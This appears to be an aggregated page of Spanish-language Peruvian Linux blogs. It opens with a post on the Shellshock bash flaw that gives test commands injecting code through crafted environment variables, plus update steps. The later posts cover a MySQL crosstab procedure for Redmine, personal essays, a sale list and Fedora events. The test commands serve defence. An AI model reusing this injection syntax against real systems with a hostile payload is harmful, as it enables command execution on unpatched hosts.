Aún no hay una solución precisa que resuelva el problema pero por lo pronto debemos actualizar bash “rait nau”. Para saber si tu sistema es vulnerable puedes ejecutar los siguientes comandos en consola:

Comando 1:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si el comando muestra `vulnerable` entonces tu sistema lo es.

Comando 2:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si el comando muestra una fecha, sigues siendo vulnerable.

Comando 3:

env -i X=' () { }; echo hello' bash -c 'date'

Si el comando anterior muestra `hello` sigues siendo vulnerable.

Como actualizar bash?

En Ubuntu/Debian: (solo para versiones LTS)

sudo apt-get update && sudo apt-get install --only-upgrade bash

En Centos/Redhat/Fedora:

sudo yum update bash

 

Esto hasta que publiquen una solución definitiva, sería buena idea realizar esas actualizaciones a diario hasta que la alerta roja desaparezca.

 

Tomado de: shellshocker

Viernes 08 de agosto de 2014

Iván Cachicatari

Iván Cachicatari
Fatal exception

Consultas de referencias cruzadas en MySQL

Hace algún tiempo que uso Redmine para gestionar proyectos, la herramienta en general es buena pero a veces necesitaba de reportes diarios de tiempo utilizado por los miembros del proyecto.

En este punto se me ocurrió si podría lograr una consulta de referencias cruzadas (al estilo MS Excel), MySQL no soporta consultas de ese tipo pero pueden simularse:

1. Escribir la consulta principal que contenga las filas más importantes: project identifier, task subject y total_hours, todo en un rango de fechas.

SELECT p.identifier, 
	e.issue_id, i.subject, round(SUM(e.hours),2) AS total_hours
	FROM redmine_nsp.time_entries e
	INNER JOIN redmine_nsp.issues i ON e.issue_id = i.id
	INNER JOIN redmine_nsp.projects p ON e.project_id = p.id
	WHERE e.spent_on BETWEEN '2014-07-01' AND '2014-07-07'
 GROUP BY p.identifier,e.issue_id;

Resultado:

+------------+----------+----------------------------+-------------+
| identifier | issue_id | subject                    | total_hours |
+------------+----------+----------------------------+-------------+
| bg02       |     3223 | Gestion de proyecto        |        0.25 |
| bg04       |     3256 | 1.1 Preparación del entor  |        0.63 |
| emision    |     3251 | Desarrollar la aplicación  |        3.97 |
| nsp00      |     3236 | Preparar propuesta para G  |        2.02 |
| nsp02      |     3234 | Subida al servidor de pro  |        0.52 |
| nsp02      |     3240 | Agregar funcionalidad de   |        0.55 |
| nsp02      |     3241 | Revertir el Documento      |        2.80 |
| nsp02      |     3242 | Agregar Filtros en las vi  |        0.72 |
| nsp02      |     3243 | Reportes de Cargo de entr  |        2.35 |
| nsp02      |     3254 | Control de sesiones        |        3.23 |
| nsp05      |     3252 | Mantenimiento del servido  |        0.18 |
| nsp05      |     3253 | Mantenimiento a redmine    |        0.53 |
| nsp06      |     3203 | Elaborar el visualzador d  |        0.23 |
| nsp06      |     3228 | Evitar que se tome mas de  |        0.25 |
| nsp06      |     3255 | Actualizar el porcentaje   |        1.50 |
| nsp08      |     3239 | Asistencia remota          |        1.38 |
+------------+----------+----------------------------+-------------+

2. Ahora queda averiguar quienes han estado activos en ese mismo rango de tiempo:

SELECT e.user_id, u.login
FROM redmine_nsp.time_entries e
	INNER JOIN redmine_nsp.users u ON e.user_id = u.id 
WHERE e.spent_on BETWEEN '2014-07-01' AND '2014-07-07'
GROUP BY e.user_id;
+---------+----------+
| user_id | login    |
+---------+----------+
|       1 | user1    |
|       4 | user2    |
|       5 | user3    |
|       6 | user4    |
+---------+----------+

3. La tarea es insertar ese resultado como columnas del primer resultado, de tal modo que tengamos una consulta de referencias cruzadas. He creado un procedimiento (no explico mucho al respecto) que hace esa tarea recibiendo como parámetros las fechas:

DELIMITER $$
 
CREATE PROCEDURE `get_range_summary`(dDate1 date,dDate2 date)
BEGIN
 
DECLARE done INT DEFAULT 0;
declare p_user_id int;
declare p_sql text;
declare p_login varchar(255);
declare c_users cursor for
	select e.user_id, u.login
	from redmine_nsp.time_entries e
		inner join redmine_nsp.users u on e.user_id = u.id 
	where e.spent_on between  dDate1 and dDate2 
	group by e.user_id;
DECLARE CONTINUE HANDLER FOR SQLSTATE '02000' SET done = 1;
 
set p_sql = 'select s.codigo,s.issue_id,s.subject ';
open c_users;
 
read_loop: LOOP
	FETCH c_users INTO p_user_id, p_login;
    IF done THEN
      LEAVE read_loop;
    END IF;
	set p_sql = concat(p_sql,
      ', (select round(sum(t.hours),2) as total
		from redmine_nsp.time_entries t
		where t.spent_on between \'',dDate1,'\' and \'',dDate2,'\'  
        and t.issue_id = s.issue_id
		and t.user_id = ',p_user_id,') as `',p_login,'` ');
 
END LOOP;
 
set @sql = concat(p_sql,' ,s.total_hours from 
	(select p.identifier, e.issue_id, i.subject, 
         round(sum(e.hours),2) as total_hours
	from redmine_nsp.time_entries e
	inner join redmine_nsp.issues i on e.issue_id = i.id
	inner join redmine_nsp.projects p on e.project_id = p.id
	where e.spent_on between \'',dDate1,'\' and \'',dDate2,'\' group by p.identifier,e.issue_id) as s');
 
 
close c_users;
 
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;
DEALLOCATE PREPARE stmt1; 
 
END

Al probar con la llamada: call get_range_summary(‘2014-07-01′,’2014-07-07’):

+---------+----------+----------------------------+-------+--------+---------+----------+-------------+
| identif | issue_id | subject                    | user1 | user2  |  user3  |   user4  | total_hours |
+---------+----------+----------------------------+-------+--------+---------+----------+-------------+
| bg02    |       23 | Gestion de proyecto        |  NULL |   0.25 |    NULL |     NULL |        0.25 |
| bg04    |       56 | 1.1 Preparación del entor  |  NULL |   0.63 |    NULL |     NULL |        0.63 |
| emision |       51 | Desarrollar la aplicación  |  NULL |   NULL |    3.97 |     NULL |        3.97 |
| nsp00   |       36 | Preparar propuesta para G  |  NULL |   2.02 |    NULL |     NULL |        2.02 |
| nsp02   |       34 | Subida al servidor de pro  |  NULL |   0.52 |    NULL |     NULL |        0.52 |
| nsp02   |       40 | Agregar funcionalidad de   |  NULL |   NULL |    0.55 |     NULL |        0.55 |
| nsp02   |       41 | Revertir el Documento      |  1.40 |   NULL |    1.40 |     NULL |        2.80 |
| nsp02   |       42 | Agregar Filtros en las vi  |  NULL |   NULL |    0.72 |     NULL |        0.72 |
| nsp02   |       43 | Reportes de Cargo de entr  |  NULL |   NULL |    NULL |     2.35 |        2.35 |
| nsp02   |       54 | Control de sesiones        |  NULL |   NULL |    NULL |     3.23 |        3.23 |
| nsp05   |       52 | Mantenimiento del servidor |  NULL |   0.18 |    NULL |     NULL |        0.18 |
| nsp05   |       53 | Mantenimiento a redmine    |  NULL |   0.53 |    NULL |     NULL |        0.53 |
| nsp06   |        3 | Elaborar el visualzador de |  NULL |   0.23 |    NULL |     NULL |        0.23 |
| nsp06   |       28 | Evitar que se tome mas de  |  NULL |   0.25 |    NULL |     NULL |        0.25 |
| nsp06   |       55 | Actualizar el porcentaje d |  NULL |   1.50 |    NULL |     NULL |        1.50 |
| nsp08   |       39 | Asistencia remota          |  NULL |   1.38 |    NULL |     NULL |        1.38 |
+---------+----------+----------------------------+-------+--------+---------+----------+-------------+

Es todo! Luego con ese resultado es fácil crear un pequeño reporte diario/semanal sobre las horas utilizadas por cada usuario.

Domingo 06 de julio de 2014

Enrique Vereau

Enrique Vereau
Vereau.ORG

Encontrando a mi maestro de matemáticas – Feliz dia del maestro para todos los que enseñan!

Feliz día del maestro para todas los grandes maestros que me han dado la oportunidad de aprender algo de ellos

Lunes 23 de junio de 2014

Iván Cachicatari

Iván Cachicatari
Fatal exception

Acostumbrado?

Lo primero que me preguntan al saber vivo en Lima  un poco más de dos años es ¿Y ya te acostumbraste?

Para no alargar la conversación, les digo “Sí, ya me acostumbré” y me suelen decir después “Si pues, Lima es otra cosa”. Luego me digo a mi mismo “WTF!!!?”, lo que en realidad quiero responder es:

¿Acostumbrarme a caminar mirando en cada esquina si hay alguien sospechoso del cual deba cuidarme? ¿Acostumbrarme a no ver las estrellas ni las nubes blancas junto aun cielo con muchas tonalidades de azul? ¿A escuchar una historia peor que la anterior en los buses? ¿A sentir el hedor de todos los días? ¿A perder valiosas horas diarias para ir al trabajo? ¿A ver lo poco que vale la vida? ¿Acostumbrarme a no ver tantas cosas que no sabía que iba a extrañar? Cosas que que para mí eran “normales” y hasta vi con humor cuando alguien, recién llegado a mi pueblito, se quedó mirando el cielo diciendo “mira esas nubes ¿bien blancas no?”

Si pudiera mandar todo a la mierda y regresar… lo haría, pero todos tenemos una voz que nos dice “un momentito… !, basta de padecimientos infantiles, todos pasan por lo mismo y finalmente terminan acostumbrándose y no andan publicando cojudeces en sus blogs”.

El tiempo pasa y las cosas cambian.

Domingo 08 de junio de 2014

Enrique Vereau

Enrique Vereau
Vereau.ORG

El Dragón en la pista de baile

Bruce lee, considerado el padre de las artes marciales mixtas, fundador del jeet Kune do, también tuvo mucha afición por el baile y fue herramienta que sus familiares encontraron para que encamine de mejor manera su vida cuando entraba en la adolescencia.

Jueves 13 de marzo de 2014

La seguridad es inversamente proporcional a la comodidad

El tema de seguridad informática es algo que mucha gente no le presta la importancia que realmente tiene. Muchas veces se debe a que se considera que es inútil o que jamas se utilizará. Pero en el mundo moderno, cada día más y más personas mal intencionadas intentan tener acceso a los datos de nuestros servidores y equipos informáticos.


Seguridad Informática

Seguir leyendo….

Sábado 01 de marzo de 2014

Enrique Vereau

Enrique Vereau
Vereau.ORG

El placer de leer un libro vs lectura en tablet o pda

las copias de libros virtuales en distintos formatos son muy baratas y sobre todo de muchas cosas que en el momento de la lectura puedo necesitar y me acostumbré a tenerlas. Pero esto me ayudó a valorar y disfrutar lo que es leer un buen libro, sentir las sensaciones de subrayar, doblar y agarrar las páginas, hojear y hasta la posición en la que uno puede leer.

Sábado 28 de diciembre de 2013

¡Feliz cumpleaños, Linus Torvalds!

Hace 44 años, en algún lugar de Helsinki, la capital de Finlandia, nació Linus Benedict Torvalds, el fundador de Linux y arquitecto jefe del kernel de Linux.

Feliz Cumpleaños Linus Torvalds

Nacido el 28 de diciembre de 1969, Linus Torvalds es un ingeniero de software finlandés/estadounidense que ha creado el núcleo (kernel) Linux. Él también ha creado el famoso sistema de control de revisiones Git y Subsurface, un software de exploración de registros de código abierto.

En 2012, la Academia de Tecnología de Finlandia (previamente conocida como la Fundación del Premio de Tecnología del Milenio) le entregó a Torvalds el Premio de Tecnología del Milenio por la creación de Linux.

Alex Celi

Jueves 01 de agosto de 2013

Silvia Sugasti

Silvia Sugasti
Adeene's Blog

Migrando de Blogger a WordPress


Y así finaliza mi paso por Blogger... Este será el último post, por estos lares, ya que ahora postearé en mi nuevo blog, el cual está implementado en WordPress, y donde, manejo mi propio subdominio, DBs, hosting, etc, osea tengo todo el control sobre el.

Todos los post de este blog han sido migrados al nuevo :-).


Nos leemos!, c ya!


---------------------------------------
ACTUALIZACIÓN (31/Julio/2013):

Tengo una página donde exploro mi lado creativo es: http://www.zurecia.com ahí encontrarás Amigurumi + Ilustración, un poco de handmade, crafting, dibujos y bocetos.   Para las ilustraciones estaré usando Inkscape y GIMP.
---------------------------------------

--
Silvia Sugasti

Lunes 15 de julio de 2013

Henry Anchante

Henry Anchante
HACATAKA - LINUX

FUDcon Cusco - Perú 2013


Jueves 11 de julio de 2013

Henry Anchante

Henry Anchante
HACATAKA - LINUX

Lo que me gusto de Fedora 19

Sin bien es cierto somos ya especialistas en temas de Linux (Fedora), pero yo pienso siempre al tener una nueva versión de Fedora como un usuario novato y pues viéndolo así me gustaron muchas cosas que a los nuevos usuarios los guiara mejor en su nueva experiencia, un sistemas mas amigable y facil de usar.

1.- La instalación es mas sencilla, si observas los recuadros son claros y te pide cada una de las configuraciones mientras va instalando.


2.- Algo que me gusto mucho, fue el inicio después de la instalación, GNOME nos da la bienvenida y nos enseña alguna cosillas del escritorio.


Quisiera aclarar que estos 2 puntos son importantes, para que un usuario comience con su tan esperado momento, por otro lado no esta de mas mencionar la facilidad de instalar programas, Libre Office, Configuración, Contrafuego, GNOME Shell etc.


Lunes 10 de diciembre de 2012

Cesar Villegas

Cesar Villegas
Slayer_X homepage

Remato por mudanza

Nuevamente me estoy mudando y otra vez he caído en la cuenta de que guardo muchas cosas que no uso o no necesito, asi que he decidido deshacerme de la mayoría de cosas ofreciendolas a precio de remate.

La mecánica es simple, si quieres algo tendrás que contactarme para darte mis datos, me pagas y es tuyo, first come first serve, no puedo separar cosas para nadie, si me conoces personalmente tendrás la ventaja de poder llamarme por teléfono y coordinar antes de los que me contacten por el blog (asegurate de poner tu correo en los datos del comentario) o por twitter (@Slayer_X)

Las cosas que tengo a la venta son

Cargador para celular Blackberry: 5 soles
– Cable de datos USB para Blackberry: 3 soles
– Cargador para celular Sony Ericsson T610 y similares: 5 soles
– Cable de datos USB para Sony Ericsson T610 y similares: 3 soles
– Cable de audio para Sony Ericsson T610 y similares: 3 soles
Hard case de plástico con diseño de Calavera en llamas para Nexus S: 1 sol
– Celular Nextel i265 con cargador: 15 soles
– Cajas y estuches vacíos de CD (son como 50): 2 soles por todo
– The Sopranos: 3ra temporada en DVD: 3 soles
– The Sopranos: 4ta temporada en DVD: 3 soles
– The Sopranos: 5ta temporada en DVD: 3 soles
Nip/Tuck: 1ra temporada en DVD: 3 soles
Nip/Tuck: 2da temporada en DVD: 3 soles
Nip/Tuck: 3ra temporada en DVD: 3 soles
– Chuck: 1ra temporada en DVD: 3 soles
– Chuck: 2da temporada en DVD: 3 soles
World of Warcraft: Battlechest viene con 1 mes gratis de juego (caja sellada): 50 soles
World of Warcraft: The wrath of the Lich King expansion (caja sellada): 20 soles
World of Warcraft: Cataclysm expansion (caja sellada): 20 soles
Diccionario de la lengua española: vigésima segunda edición 10 tomos: 100 soles
– Maquina de afeitar eléctrica marca Phillips (funciona pero deberías cambiar el cabezal porque esta usado): 20 soles
Zip drive Iomega 250Mb alimentacion USB + 1 disco 250 Mb = 10 soles
– Diccionario Español-Inglés Larousse School: 5 soles
– Guía y calendario de fiestas y danzas patronales del Perú: 5 soles
– 3 protectores de pantalla para Blackberry 8800: 3 soles
30 cassetes de heavy y thrash metal variado, la mayoría cintas Sony en perfecto estado de conservación, incluye 2 originales: Sin Piedad de Masacre (Perú) y el Extreme Aggression de Kreator: todo por 30 soles (no vendo por separado, es todo o nada)
Joystick Genius modelo Flight2000 F-16 con conexión a game port: 10 soles
Tarjeta de video AGP SiS: 2 soles
– Protector de celular (modelos chicos) para correa: 2 soles
Revistas “So What” del Metclub: 2 soles cada una

Libros:
– Dando la nota – José Luis Campuzano – Carolina Cortés (historias del bajista de Baron Rojo): 10 soles
Webmaster in a Nutshell – Oreilly: 5 soles
Peer to Peer – Harnessing the power of Disruptive Technologies de Andy Oram: 10 soles
Javascript the definitve guide (3rd Edition – Oreilly): 10 soles
Programming Perl (2nd edition – Oreilly): 10 soles
– La 4ta dimensión – Bob Frissell: 5 soles
– Noticias de ninguna parte – William Morris: 5 soles
– Nosotras que nos queremos tanto – Marcela Serrano: 10 soles
Memorias de Adriano – Marguerite Yourcenar: 5 soles
– La Colmena – Camilo Jose Cela: 5 soles
– Crónica de San Gabriel – Julio Ramón Ribeyro: 5 soles
– No se lo digas a nadie – Jaime Bayly: 5 soles

En calidad de regalo:
– Stickers de Gnome
– Stickers de Barrapunto
– Stickers de “Yo amo el Software Libre”
– 1 caja de Diskettes 1.44 Sony usados
PortaCDs tipo libro para 20 discos
Varios comics editados por Peru21: Xman, Spiderman números antiguos

Todo se entrega as is, no doy garantías, ni hago devoluciones

Actualizaré la lista con la lista de libros pronto, lo que venda lo iré tachando

Jueves 29 de noviembre de 2012

Henry Anchante

Henry Anchante
HACATAKA - LINUX

EXPERIENCIA CON FEDORA EN EDUCACIÓN PUBLICA

EXPERIENCIA CON FEDORA EN EDUCACIÓN PUBLICA

Era el año 2009, en la especialidad Computación e Informática del Instituto Superior Tecnológico Público Manuel Seoane Corrales donde se planifica hacer un evento de software libre y conocíamos poco o nada de este mundo, hasta que se planifico hacerla y fue un éxito con una participación masiva de ponentes nacionales con experiencia internacional, desde ahí quedó en mi mente que esto debería realizarse cada año y fue así hasta ahora... ¿Cómo iniciamos con Fedora? Iniciamos cuando uno de los alumnos de la Institución preguntó a un especialista que Distribución sería el adecuado para su laptop ya que había probado con otras y tenían problemas de configuración Hardware y Él le recomendó Fedora para ese tiempo la versión 12 según recuerdo año 2009, desde entonces Joel Porras se convirtió en unos de los promotores de Fedora hasta que un momento probé y me agradó, hasta ahora, se hicieron talleres de instalación y manejo de Fedora el año 2010 con Henry Anchante y Peter Copa, y empezamos a probar en el las pcs del laboratorio con las versiones 13 y también 14 y empezaba a funcionar bien, hasta que en el año 2011 decidí llevar los cursos del VI ciclo que se me asignan todo bajo el S.O. Fedora, en ese año iniciamos con la versión 15 con el nuevo entorno Gnome 3 que fué facilmente adaptarse al manejo, trabajamos programación, manejo CMS como Joomla, Drupal, LMS como Chamilo, Moodle, curso de modelado con UML usando el programa DIA, desarrollo con Eclipse para Java y/o Android,etc. Su facilidad de instalación con un USB-Live hizo que rápidamente pudiéramos instalar en todos los equipos del taller. Desde el año 2011 el Evento más grande de Software Libre llamado SOFLISEOANE realiza talleres libres y contamos con Fedora como S.O., en este año 2012 hace pocos días, realizamos talleres de diseño y desarrollo web, de dibujo vectorial con Inkscape, taller de diseño 3d con Blender, taller de programación con Python, Talleres de Virtualización de Servidores entre otros. Es importante mencionar y siempre resalnto frente a los estudiantes que no necesitamos licencias de uso, claves y permisos, tampoco desperdiciamos tiempo en buscar cracks, antivirus y otros; a cambio dedicamos ese tiempo a explorar más el Software Libre. Personalmente me agrada por que cubre mis necesidades para mis actividades académicas, hasta ahora no he tenido problemas para hacer un curso teniendo como base a Fedora, en mi casa mis hijas, mi esposa usan Fedora, de mi parte seguiré promoviendo Fedora y demostrando que es un Sistema Operativo accesible para poder trabajar en educación como también en producción. Bernardo
 
 
 

Viernes 19 de octubre de 2012

Cesar Villegas

Cesar Villegas
Slayer_X homepage

Are you a hardcore atheist?

Bueno, decidí volver a escribir y voy a empezar con este meme que encontré gracias al Tumblr de Diego, consiste en marcar en negrita cada uno de los 50 items para comprobar si eres un hardcore atheist o no, asi que allí vamos, lamento que esté en inglés, pero no me da el tiempo para traducir todo, pero si haré pequeños comentarios sobre las cosas que he hecho :)

  1. Participated in the Blasphemy Challenge
  2. Met at least one of the “Four Horsemen” (Richard Dawkins, Daniel Dennett, Christopher Hitchens, Sam Harris) in person.
  3. Created an atheist blog. “Duh!”
  4. Used the Flying Spaghetti Monster in a religious debate with someone.
  5. Siempre menciono al FSM U_U

  6. Gotten offended when someone called you an agnostic.
  7. No muchas veces, pero si me he mostrado ofendido 😛

  8. Been unable to watch Growing Pains reruns because of Kirk Cameron.
  9. Own more Bibles than most Christians you know.
  10. No solo tengo mas, sino que las he leído completas 😛

  11. Have at least one Bible with your personal annotations regarding contradictions, disturbing parts, etc.
  12. Have come out as an atheist to your family.
  13. Toda mi familia lo sabe, a los que no son tan cercanos les cuesta aceptarlo y creen que me pueden convertir xD

  14. Attended a campus or off-campus atheist gathering.
  15. Are a member of an organized atheist/Humanist/etc. organization.
  16. Had a Humanist wedding ceremony.
  17. Donated money to an atheist organization.
  18. Apoyé la campaña del bus ateo

  19. Have a bookshelf dedicated solely to Richard Dawkins.
  20. Lost the friendship of someone you know because of your non-theism.
  21. Triste, pero cierto

  22. Tried to argue or have a discussion with someone who stopped you on the street to proselytize.
  23. Me encanta hacerlo 😛

  24. Had to hide your atheist beliefs on a first date because you didn’t want to scare him/her away.
  25. Been there, done that

  26. Own a stockpile of atheist paraphernalia (bumper stickers, buttons, shirts, etc).
  27. No mucho, pero algo tengo

  28. Attended a protest that involved religion.
  29. Mas de una vez y asistiré a todas las que pueda

  30. Attended an atheist conference.
  31. Lástima que no sean frecuentes, pero a las pocas que hay trato de ir

  32. Subscribe to Pat Condell‘s YouTube channel.
  33. Started an atheist group in your area or school.
  34. Successfully “de-converted” someone to atheism.
  35. Mas de una persona :)

  36. Have already made plans to donate your body to science after you die.
  37. Eso lo tuve clarísimo desde muy joven

  38. Told someone you’re an atheist only because you wanted to see the person’s reaction. (All the time!)
  39. Una de mis favoritas de todos los tiempos

  40. Had to think twice before screaming “Oh God!” during sex. Or you said something else in its place.
  41. What can I say? xD

  42. Lost a job because of your atheism.
  43. Formed a bond with someone specifically because of your mutual atheism (meeting this person at a local gathering or conference doesn’t count).
  44. Mas de una vez y gracias a internet

  45. Have crossed “In God We Trust” off of — or put a pro-church-state-separation stamp on — dollar bills.
  46. Refused to recite the Pledge of Allegiance.
  47. Si, pero no precisamente por ateo sino porque me dió flojera, y como estamos en Perú tomo como referencia el himno nacional como equivalente.

  48. Said “Gesundheit!” (or nothing at all) after someone sneezed because you didn’t want to say “Bless you!”
  49. En español decimos “Salud”, pero en inglés me gusta bromear y digo “Satan bless you” 😛

  50. Have ever chosen not to clasp your hands together out of fear someone might think you’re praying.
  51. Have turned on Christian TV because you needed something entertaining to watch.
  52. Diversión asegurada, aunque muchas veces termino renegando indignado por las cosas que dicen.

  53. Are a 2nd or 3rd (or more) generation atheist.
  54. Have “atheism” listed on your Facebook or dating profile — and not a euphemistic variant.
  55. Lo tengo puesto en la parte de creencias y siempre lo digo abiertamente.

  56. Attended an atheist’s funeral (i.e. a non-religious service).
  57. Subscribe to an freethought magazine (e.g. Free Inquiry, Skeptic)
  58. Sip, estuve en varios newsletters, pero ya no más porque ahora recurro mas a blogs y foros

  59. Have been interviewed by a reporter because of your atheism.
  60. Si, pero nunca llegó a ser publicado.

  61. Written a letter-to-the-editor about an issue related to your non-belief in God.
  62. Mas de una vez, pero nunca responden ni publican lo que les escribiste

  63. Gave a friend or acquaintance a New Atheist book as a gift.
  64. Mas de una vez

  65. Wear pro-atheist clothing in public.
  66. Si, lo que me recuerda que debo renovar

  67. Have invited Mormons/Jehovah’s Witnesses into your house specifically because you wanted to argue with them.
  68. Si, y fué divertido 😀

  69. Have been physically threatened (or beaten up) because you didn’t believe in God.
  70. Receive Google Alerts on “atheism” (or variants).
  71. Im a geek 😛

  72. Received fewer Christmas presents than expected because people assumed you didn’t celebrate it.
  73. Visited The Creation Museum or saw Ben Stein’s Expelled just so you could keep tabs on the “enemy.”
  74. Refuse to tell anyone what your “sign” is… because it doesn’t matter at all.
  75. Si y me mando un discurso de porque los horóscopos son una farsa 😛

  76. Are on a mailing list for a Christian organization just so you can see what they’re up to…
  77. Estuve, pero no duré mucho

  78. Have kept your eyes open while you watched others around you pray.
  79. Si, especialmente cuando era niño y no quería rezar, abría los ojos y miraba a los demás

  80. Avoid even Unitarian churches because they’re too close to religion for you.

Eso hace un total de 30 de 50, no seré hardcore, pero tampoco esta mal

Martes 08 de mayo de 2012

Nestor Ruiz

Nestor Ruiz
ELE's Beta log

Un día triste

Hoy es un día un tanto triste, empezó con casi un litro de café sin azúcar y terminó con el último día de un compañero de trabajo y una breve despedida. No puedo negar que me siento un poco vulnerable a la luz de los eventos.

Creo que necesito creer que soy importante, no más que nadie, sólo saber que mi contribución vale, y que me toman en cuenta, pero no sólo cuando alguien se va, no a última hora.

Van muchas semanas de dormir poco, de trabajar hasta tarde, de intentar que mi porcentaje de eficiencia no caiga mucho, de luchar contra la interminable lista de pendientes. Me siento cansado, pero no sólo físicamente, si no que el ánimo anda también anda como el dólar... Y es que es en estos casos donde me pongo a pensar si el sacrificio vale la pena cuando casi no tengo tiempo para estar en casa...

De unas semanas aquí, he estado bastante pensativo... meditabundo, no es que nunca lo haya estado, pero definitivamente ahora pienso más que antes.

También escucho más música (más tiempo, porque al final se trata de los mismos refritos que tenía en mi MP3), unas 6 canciones "nuevas". Pero por alguna razón quiero sentirme aislado, "detached" del trabajo. Quiero avanzar y no tener distracciones, avanzar... avanzar...

Quiero aprender un nuevo lenguaje de programación, y dominar otro. No es fácil, a mi me costó varios años aprender a "pensar en AWK". Ahora me es natural, pero hubo un tiempo en que no lo era.

Tengo la esperanza de no estar tan viejo para terminar las cosas que quiero hacer, de no tener que esperar X años para ver un cambio en mi trabajo, de que mi familia me siga perdonando que prefiera el trabajo, no porque quiera, si no porque se ha vuelto un círculo vicioso de trabajar para pagar deudas, de trabajar para poder vivir la ilusión de que tenemos una vida vivible.

--
Nestr0

Lunes 09 de abril de 2012

Nestor Ruiz

Nestor Ruiz
ELE's Beta log

Update 2012

En los ya casi 7 meses desde el último post, estas son las cosas que me han sucedido:
  • Lawife me regaló la biografía de Steve Jobs (la oficial), traducida al español (un poquito insufrible), pero muy interesante.
  • Me compré una laptop nueva (AMD A4-3310MX) para mi (increíble).
  • He intercambiado de sitio en mi trabajo (cosa que agrada a algunos, y disgusta a muchos).
  • Soy responsable de algunos proyectos corporativos y el tiempo libre está listado como "especie en peligro de extinsión" :(
  • Necesito aprender a instalar windows 7 :(
Eso es todo por ahora, tengo que regresar a ver si puedo solucionar el problema de la laptop que tengo al costado (no es mía).

--
Nestr0

Domingo 18 de marzo de 2012

Cesar Villegas

Cesar Villegas
Slayer_X homepage

Mis series del 2011

Manteniendo mi sana costumbre de no ver TV nacional, este año la he pasado muy bien descubriendo series nuevas y disfrutando nuevas temporadas de algunas que ya seguía desde hace tiempo. Y es de una de estas series que quiero comentar en esta ocasión :)

    The Event Esta de serie del género ficción empezó con un piloto que prometía mucho, el inicio me enganchó pero luego la serie se fué adormeciendo y la audiencia cayó estrepitosamente; eso provocó que hubiera un break y recién este año se llegara a la conclusión de la 1ra y única temporada porque lamentablemente decidieron cancelar la serie.

    La trama gira en torno a un grupo de personas que fueron recluídas en una prisión secreta del polo Norte y que esconden un gran secreto, hay una gran conspiración que puede cambiar el curso de la humanidad; asi tendremos como protagonistas al presidente de los EEUU (Blair Underwood) y toda su plana mayor durante lo que dura esta serie. Paralelamente tendremos a un hacker llamado Sean Walker(Jason Ritter) que inicia una desesperada búsqueda para encontrar a su novia Leila (Sarah Roemer) quien fué secuestrada sin motivo aparente. En el camino se va dando cuenta de que alguien se tomó demasiadas molestias para secuestrar a alguien que no tiene fama, ni dinero, ni nada que la haga un blanco apetecible, aunque tenemos que decir que Sarah Roemer esta bastante guapa 😛

    Episodio tras episodio se nos da dando mas información sobre algo que se denomina “El Evento” y que es una magnífica forma de engancharte puesto que ocurren varias cosas importantes durante toda la serie y que te pueden hacer pensar que es el “Evento” al que hacen referencia, lastimosamente hay situaciones bastante absurdas y pobreza en algunos diálogos que hicieron que muchos críticos destrozaran la serie. Sin embargo tengo que decir que los últimos episodios son realmente apasionantes y te mantienen en vilo. No quiero espoilear, pero tengo que decir que el final de la 1ra temporada es uno de los mejores que he visto en mucho tiempo, sin duda, merecía una 2da temporada. Puntuación: 7

Martes 06 de septiembre de 2011

Nestor Ruiz

Nestor Ruiz
ELE's Beta log

De vuelta 2011

He estado algo apartado de esto de llevar algo parecido a un "diario" en línea, a veces porque no tenía nada que escribir, otras porque no podía acceder (filtros de acceso en el trabajo), pero principalmente porque no tenía acceso a internet en casa.

Han pasado ya dos años desde el último post, en este tiempo he cambiado nuevamente de trabajo, no llegué a hacer nada del robot (los amigos con quienes aposté parecen haber olvidado este tema también), he comprado una laptop más (una Contura Aero 4/33c, a 10 nuevos soles), y he leído unas tres veces Masters of Doom, dos veces IWoz, y me soplé la biografía de Gabo en algo más de un mes (600+ páginas en micro).

Estoy llegando a la conclusión de que me falta ordenarme para poder hacer más cosas, también me falta ser un poco más desprendido (y dejar de ver el futuro con la nuca), pero sobre todo estoy viendo que me falta aprender cosas más importantes.

Hace unos meses me metí en un curso de Administración Efectiva del Tiempo, pero creo que voy a tener que repasar varias veces el material, ya que como en los temas técnicos, el sedimento se va quedando "de a poquitos".

Trataré de ser constante, siempre que se pueda.

Lunes 20 de junio de 2011

Danny Henderson

Danny Henderson
The::Beastieux

Blog en Off

Hola amigos, durante varios años he ido nutriendo este blog con cada cosa que iba aprendiendo y me parecía interesante y esperaba que lo sea para ustedes, hoy por la cantidad de visitas que recibo puedo decir con satisfacción que mi esfuerzo ha servido para algo y espero que les siga siendo de utilidad, pero lamentablemente quiero decirles que dejo el blog en off indefinidamente, un gran saludo a todos y muchas gracias.


Archivado en: Beastieux

Viernes 27 de mayo de 2011

Danny Henderson

Danny Henderson
The::Beastieux

Penguin Tribe’s Blender Weekend @ Ama Gi

Este sábado 28 y domingo 29 de Mayo – 2011, junto a unos amigos de la Comunidad Blender en la Isla de Penguin Tribe en Second Life vamos a celebrar el Penguin Tribe’s Blender Weekend @ Ama Gi, un fin de semana dedicado a la diversión y a compartir todo tipo de materiales referentes a Blender, tutoriales, videos, manuales, etc, así como también gozar de la parte entretenida con bandas de músicas, DJs, todo en vivo.

El programa es el siguiente:

Horario UTC/GMT [16:00 GMT | 11:00 am Lima (Perú) | 5:00 pm Madrid (España) | 10:00 am México | 1:00 pm Buenos Aires(Argentina) – Más ]

Sábado 18:45 UTC Time – Blender Movie; Sintel/Elephants Dream

Sábado 19:00 – 21:00 UTC Time – DJ Dione Bingyi

Sábado 21:00 UTC Time – Wimpie Halderman / Roy Orbison LIVE with Elwood Zanetti-Benoir on percussion and the Halftones

Domingo 20:50 UTC Time – On the big screen – Blender movies; Sintel/Elephants Dream

Domingo 21.00 UTC Time – DJ Eros Kenaan

Plus:

  • Exhibición de Arte hecho en Blender
  • Workshop Blender v.2.5
  • Blender Virtual Desktop – Ama gi

Este es el mapa en Second Life: http://slurl.com/secondlife/ama%20gi/15/212/22

Entonces todos los amantes de Blender quedan invitados, así podrán compartir también sus creaciones con todos los asistentes, desarrolladores y artistas de Blender, para ello deberán tener una cuenta en Second Life, y acceder a la dirección mostrada en el mapa.


Archivado en: Eventos, Software Libre

Jueves 19 de mayo de 2011

Danny Henderson

Danny Henderson
The::Beastieux

Sistema Operativo Android para PC

Este es un proyecto de código abierto bajo la licencia Apache 2.0 para portar el Sistema Operativo Android funcional en teléfonos Móbiles a la plataforma x86, con el cual podrá ser instalado nativamente en una PC.

